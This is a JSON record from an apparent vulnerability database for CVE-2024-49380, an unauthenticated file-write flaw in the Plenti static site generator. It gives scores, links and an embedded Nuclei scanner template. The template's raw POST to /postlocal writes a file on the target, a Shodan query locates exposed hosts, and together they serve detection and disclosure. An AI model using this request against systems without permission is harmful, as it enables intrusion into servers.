{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-49380/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-49380/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-49380/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-49380/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-49380/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-49380"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-49380"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.02705,
      "kev": false,
      "percentile": 0.85325
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-49380.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-49380\n\ninfo:\n  name: Plenti < v0.7.2 - OS Command Injection\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.\n  impact: |\n    Unauthenticated attackers can write arbitrary files to the server, potentially achieving remote code execution.\n  remediation: |\n    Update Plenti to version 0.7.2 or later.\n  reference:\n    - https://securitylab.github.com/advisories/GHSL-2024-297_GHSL-2024-298_plenti/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-49380\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-49380\n    cwe-id: CWE-78\n    epss-score: 0.02705\n    epss-percentile: 0.85325\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: title:\"Plenti\"\n  tags: cve,cve2024,plenti,rce,injection,intrusive,vuln,vkev\n\nvariables:\n  filename: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /postlocal HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        [{\"Action\": \"create\",\"Contents\":\"{{randstr}}\",\"File\": \"static/{{filename}}.txt\"}]\n\n      - |\n        GET /{{filename}}.txt?{{wait_for(5)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_2, \"{{randstr}}\")'\n          - 'contains(header_2, \"text/plain\")'\n          - 'status_code_2 == 200'\n        condition: and\n# digest: 4a0a00473045022100f3c910025a3471fa943b16e7dba8ab0602c6df0ea4c516bfc630fa1ec9086cf202200e7b7f81e6c4b684b4858c31bd7930c01fddafed7a37ae36bf3a49e83b735f59:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-49380"
}